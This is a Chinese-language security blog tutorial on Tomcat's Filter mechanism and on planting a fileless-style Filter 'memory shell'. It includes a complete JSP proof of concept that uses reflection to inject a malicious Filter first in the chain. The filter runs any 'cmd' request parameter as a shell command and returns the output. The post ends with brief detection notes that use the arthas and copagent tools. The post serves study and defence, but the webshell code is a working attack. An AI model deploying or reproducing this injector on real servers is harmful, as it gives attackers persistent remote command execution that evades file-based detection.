Filter 流程
图片来源:https://blog.csdn.net/qq_37924905/article/details/108616779

Filter 可以是链式的,多个 Filter 过滤同一请求
Filter 注册流程
创建 maven Java web 项目,不多说了,不会的自行百度嗷。然后pom.xml 添加如下内容
<dependencies>
// 测试
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
// tomcat源码
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.51</version>
</dependency>
</dependencies>
项目结构如下,文件夹不存在的可以自行创建
FilterDemo 如下
package com.yq1ng.Filter;
import javax.servlet.*;
import java.io.IOException;
/**
* @author ying
* @Description
* @create 2021-12-05 3:54 PM
*/
public class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filterDemo 已被初始化...");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("进行过滤操作...");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
web.xml 添加
<filter>
<filter-name>filterDome</filter-name>
<filter-class>com.yq1ng.Filter.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDome</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
开始 debug,看自定义 Filter 怎么被调用。首先是org\apache\catalina\startup\ContextConfig.class#configureContext()读取、解析 xml 文件,返回解析后的实例,这个不说了,代码好长。org\apache\catalina\core\StandardWrapperValve.class#invoke()中创建了 filterChain
跟进看看,在 42 行获取的当前 web 应用的信息
主要关注图中的三个属性
- filterConfigs:存放 filterDef(见 filterDefs) **,filter 实例对象**及其他信息
- filterDefs:存放过滤器名、过滤器全限定名及其他信息
- filterMaps:存放过滤器名字(FilterName )及对应作用 url(URLPattern)


这里遍历 filterMaps,比较请求 url 是在 filter 作用路径中,如果路径符合要求则在context中寻找对应的 filterConfig,如果 filterConfig 存在且不为 null 则进入filterChain.addFilter(),跟进
for 循环来判断我们的 filter 是否存在,若存在则直接 return,也就是去重。
下面的 if 判断 n 是否与当前 filter 容量相等,如果相等则对 filter 的空间+10,然后将我们的 filter 加到当前 filters 中,这部分相当于扩容。看一下 filter 和 n
然后返回,for 循环过后 filterChain 算是装载完成了。然后又回到org\apache\catalina\core\StandardWrapperValve.class#invoke()就开始调用 filter 链
跟进doFilter()
继续
在这里就会调用我们自定义的 Filter
来一张宽字节的总结
Filter 内存马实现
先提一个特性,在 Servlet 3.0 后, servlet 和 filter,甚至 Listener 都可以进行动态的创建,从javax\servlet\ServletContext.class接口中也能直观看出


那么就可以通过 jsp 动态创建恶意的 Filter。从注册流程可以知道,组装 filterChain 的时候是通过 context 获取其 filtersMaps,怎么获取这个 context 然后把恶意过滤器添加到第一位呢?
获取 context
在org\apache\catalina\connector\Request.class发现getContext()方法,此方法可以获取 context
怎么获取 Request 对象呢?实际 Tomcat 在使用 request 的时候不是用的 Request 这个类,而是 RequestFacade,因为 Request 这个类里面有很多属性和方法,这些方法是不想对外公开的,所以使用 RequestFacade 进行包装,来看一下
所以可以使用反射获取 Request
<%
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) req1.getContext();
%>
poc
poc 怎么得来的可以看看https://blog.csdn.net/angry_program/article/details/116661899,很详细,我也没细看(逃,poc 很容易理解,这里就直接看 poc 了
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%--
Created by IntelliJ IDEA.
User: ying
Date: 12/5/2021
Time: 9:06 PM
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>test</title>
</head>
<body>
<%
// 定义过滤器名字
final String name = "yq1ng";
// 获取context
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) req1.getContext();
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 如果过滤器不存在则进行注入
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
// Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
// int len = process.getInputStream().read(bytes);
// servletResponse.getWriter().write(new String(bytes,0,len));
// process.destroy();
// return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 将恶意Filter移到第一位
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
</body>
</html>
启动服务,访问 test.jsp

这样还是不行,和普通的 webshell 没区别,还是会有恶意文件落地,所以还要结合反序列化来实现无文件落地的内存马
查杀
参考:https://gv7.me/articles/2020/kill-java-web-filter-memshell/
查杀思路大致为使用 Agent 遍历所有已经加载到内存中的 class,判断 filter 来源(ClassLoader)、web.xml 配置、filter 常见恶意名字、检查 Filter 对应的 ClassLoader 是否存在对应的 class 文件、检查 doFilter 方法中是否含有恶意代码(Runtime、Process、defineClass 等等
arthas
https://github.com/alibaba/arthas
适合对业务整体代码较为熟悉的时候使用
启动 tomcat,注入内存马,使用java -jar .\arthas-boot.jar启动工具,选择 org.apache.catalina.startup.Bootstrap 进程
使用 sc 命令列出 JVM 已加载的所有 Filter:sc *.Filter

使用 jad 命令反编译 class:jad --source-only org.apache.jsp.test_jsp

使用 watch 命令监控函数调用情况:watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
由arthas二次开发,这个应该挺适合检测内存马的,只需要java -jar .\cop.jar即可
这两个使用了 agent 技术,暂不深入,因为我还没学到,嘤嘤嘤